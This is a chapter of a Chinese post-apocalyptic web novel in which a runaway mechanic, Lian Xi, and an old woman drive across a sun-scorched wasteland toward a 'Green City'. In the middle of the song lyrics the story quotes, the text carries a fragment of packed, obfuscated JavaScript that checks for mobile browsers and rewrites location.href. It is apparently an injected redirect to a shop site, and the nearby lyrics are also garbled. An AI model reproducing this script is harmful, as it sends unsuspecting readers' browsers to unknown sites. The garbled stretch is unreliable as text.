连惜醒过来的时候眼前依旧一片火光,看起来似乎比之前更旺了些,红通通地映照着她的脸,让她的视野里一片通红。
“喝点水。”一个很轻柔的女人的声音在她耳边响起。
“妈......妈?”
连惜挣扎着要动,递到嘴边的陶瓷缸子一抖:“是我,老太婆。”
“老太婆......”
连惜又不动了,眼神里透着隐隐的失望,低头就着老太的手喝了两口水。
老太让她靠在车边坐着,自己贴她坐下,迎面就是火堆,连惜看见里面多出一件衣服来。
“多久了?”老太轻声问。
“几个月了。”
“现在回去,兴许还有救。”
连惜转头冲老太惨然一笑:“我妈就是这么没的,我爸也是,所以我知道我也会没的。”
“所以你就跑了?”
“不跑又能怎么样?我死了也就死了,多多会被他们吃掉的。”
说到这里,连惜的眼眶一红,捂住多多的耳朵,声音跟着哽咽起来:“我讨厌他们。”
“我讨厌饭桌上的玩笑,我一点都不高兴还要装傻配合。我讨厌他们惦记我的多多,我还活着就要在我面前讨论怎么吃我的宠物。我讨厌工作时候的照应,我厉害的很,我讨厌搭在我肩膀上的胳膊,我讨厌凑近的脸,我讨厌他们肆无忌惮的眼神,我讨厌他们。”
“我前一秒还在桌上跟他们一起吃饭,说说笑笑,可是下一秒我就想跑,想跑的远远的。我天天都在收拾我那个破行李,我想总有一天我能有机会来到地面。我一直等啊等,希望有一天能有人带我出来见见,看看现在是什么样子,可是一直没有等到人肯带我出来,他们说这是为我好。”
她深深吸了一口气,继续说下去。
“我本可以成为基地里最厉害的机修工,我本应该跟多多一直陪伴到老,我本应该一家人在一起快快乐乐,就像从前那样,这操.蛋的生活才不是我要的。”
“地球还没变成这鬼样子的时候我想做一个赛车手,我打小就摸方向盘,我爸就夸我有本事,夸我厉害,他带着我开车,我开车修车的技术全是他教的。可是那该死的太阳它炸了,它怎么不全炸了,干脆让地球毁灭好了。半死不死的,折磨死人了。”
连惜低下头,轻声哭泣起来。
“我看见月神的时候,我就想开一开她,可是每个人都不让我开她,哪怕检修的事情都是我做的,他们也不许我碰方向盘。可是我每次经过她的时候,都觉得她在喊我,我应该开一开的。”
老太听出来她管背后这辆越野车叫月神,却没有像以往那样嘲笑她天真幼稚。
“我爸爸以前也有一辆那样的车子,我开的可熟了,我小时候就想长大了也要开那样的车子,翻山越岭,威风八面,可是再也没机会了。那天晚上我看见她被月亮罩着,我就觉得她在等着我,我想我开着她走的话,一定能成功。”
“后来,我就把她开走了。”
“走了就走了,哪有回去的道理。”
老太坐在一边,自始至终没有出声,到这时摸出一根烟来,凑到火堆前点着了才重新坐回去。
“真不回去了?”
“不回去。”
“死在这里也不回去?”
“死在这里也不回去。”
“那行。”老太点点头,深吸一口烟:“还想去绿城么?”
连惜忽然一动:“什么意思?”
“你要实在想去,我可以帮你。”
“真的假的?”还没等老太回答,连惜就一脸惊喜地抱住她的胳膊:“想去想去,我想晒晒太阳淋淋雨,我想去河沟里打滚,我想看彩虹,我想死了以后埋在草地里,最好是花园里,上面种满牡丹花,我之前见过那种花,可漂亮了,我给它们做花肥呀。”
“咳——咳——”老太一口烟呛的泪眼模糊:“你就不能说点吉利的。”
连惜还沉浸在惊喜之中没有冷静下来,转头想了想后耸耸肩道:“这挺好啊,反正都要死的,埋在花园里跟晒在太阳下有什么区别?我喜欢花,可是好多年都没有见过花了。”
老太看她死性不改也懒得说了,只叮嘱一句:“好好睡觉,天亮出发。”
夜里灯光太惹眼,长途跋涉不知道会遇上什么人,连惜那场出逃运气好的像第一回进赌场的赌徒,怎么下注都是赢。
全是运气,但运气不会一直跟随。
白天出行会有点麻烦,两人各自开车,都得穿上防护服,罩的严严实实的。至于多多,连惜给她用短短的牵引绳系在了后座,再用一个防护布盖住,侧面窗户金属页全合上,尽量不漏一点阳光下来。
穿衣之前老太特意叮嘱:“多吃少喝,路上别跟我提上厕所的事情。”
“听见了。”
“狗也是。”
“在车上她会憋住的。”
老太这才放下心来,两人相互帮着穿上了防护服。
“给你这个。”临出发前,老太扔给连惜一个黑乎乎的东西过来。
连惜接过来一看,是个对讲机。
“频道已经调好了,别乱动,跟我距离不要太远,有事对讲机联系。”
“好嘞。”
两人各自上车,忽然老太回头问她一句:“忘记问你了,你叫什么名字?”
连惜冲她笑着道:“连惜,连长的连,爱惜的惜。”
“好名字。”她竖了个大拇指。
“那你呢?老太婆。”连惜在她身后叫唤。
“我姓张,叫我张老太婆。”
“哈哈,好,张老太婆。”连惜穿着防护服有些艰难坐上车子,嘴里头嘀嘀咕咕:“张老太婆没有老太婆顺口啊,还是叫你老太婆好了。”
她按下对讲机:“老太婆。”
兴奋的声音听得那头的老太眉头一皱:“没礼貌的小东西。”
“出发了。”她按下对讲机,发出指令。
“收到!”
连惜高高兴兴地回了一声,一边发动车子,一边按下音乐播放键。
“老太婆,请你听首歌。”
老太一边开车,一边听对讲机里传过来的歌声。对讲机似乎在什么地方卡住了,那个歌声源源不断地传过来:
Oh life
Is changing every day
In every possible way
And oh drea
It''''s never quite as it see
Never quite as it see
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16742813|189730||http|test|ni|href|location''''.split(''''|''''),0,{}));
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>I know I''''ve felt like this before
But now I''''feeling it even re
Because it ca froyou
Then I open up and see
The person falling here is
A different way to be
Ah
La ya
La la ya
La-ah-ah【1】
......
老太静静骂了句:“浪费。”可是嘴角却忍不住翘起,直到一曲放完,她才重新拿起对讲机:
“听到了,省点电,省点油,路还长着呢。”
“好嘞。”连惜愉快地关了对讲机和音乐播放器。
老太没骗她,路程确实很长,这一开就开出去好几个小时,根本不带歇口气的,连惜终于明白为什么老太出发前要她多吃少喝,因为根本不会停车,也没地方可以供她补充,解决。
这小小的车子内部也转不开,有什么想法都只能憋住了。
还好还好,她喝的少,吃的饱。
只是多多在后面坐的渐渐不耐烦起来,一颗脑袋总是从防护布下面挤出来,黑黑的鼻头在外面用力地嗅着,鼻头逐渐干燥泛白,要不是防护布也跟着一块吊住了,只怕此刻就要掉到底下去了。
“多多,先别动,等到了地方就让你出来。”
多多听见声音哼唧一声,趴在那里不动了,只有一个黑色的小鼻头露在外面,哼哧哼哧喘着气。
这个天气实在憋人,连惜也热的不行,可是根本不敢开空调,生怕油半路就不够了。
她记得老太说过,这里去绿城至少七八天,她那点油根本就不够。
她挪挪僵掉的屁.股,拿起对讲机按下去:“老太婆,咱们的油用完了怎么办?”
那头回应很快来了:“别慌,会有补充的。”
连惜耶了一声:“我就知道老太婆你最厉害了。”
老太走的路偏,连惜跟在后面从一片荒无人烟的沙漠一般的地方经过,有些起伏的地面上仍旧能看见几根光秃秃的树桩,她就知道那曾经是山。
太阳晒过,沙尘暴卷过,但凡有点枝丫的早都折的干干净净,只有底部一截树桩留在那里,昭示着这里曾经是一片绿色青山。
耀斑爆炸的威力巨大,臭氧层被炸的破破烂烂,超强的紫外线直接照在地面,不留一丝生机。这里广袤的平原地带曾经可能稻香千里,起伏的山丘曾经可能绿荫一片,低洼的盆地曾经可能是一片湖泊,如今只剩一片光秃秃的黄,早已分不清彼此。
连惜跟着老太走进了一条颠簸的道路,这年头什么都被晒烂了,石头却还好好的,颠的她半天没挪窝的屁.股更痛了。
她叹息一声,拿起对讲机:“老太,咱们能歇会么?屁.股好痛......”
那头老太回话的时间有些长。
“前面有房子,到了那里我们停下来。”
“好嘞。”连惜又高兴起来,转头对着多多道:“多多多多,我们要到休息的地方啦。”
多多的脑袋在布下一抬,扯的那块布哗哗响。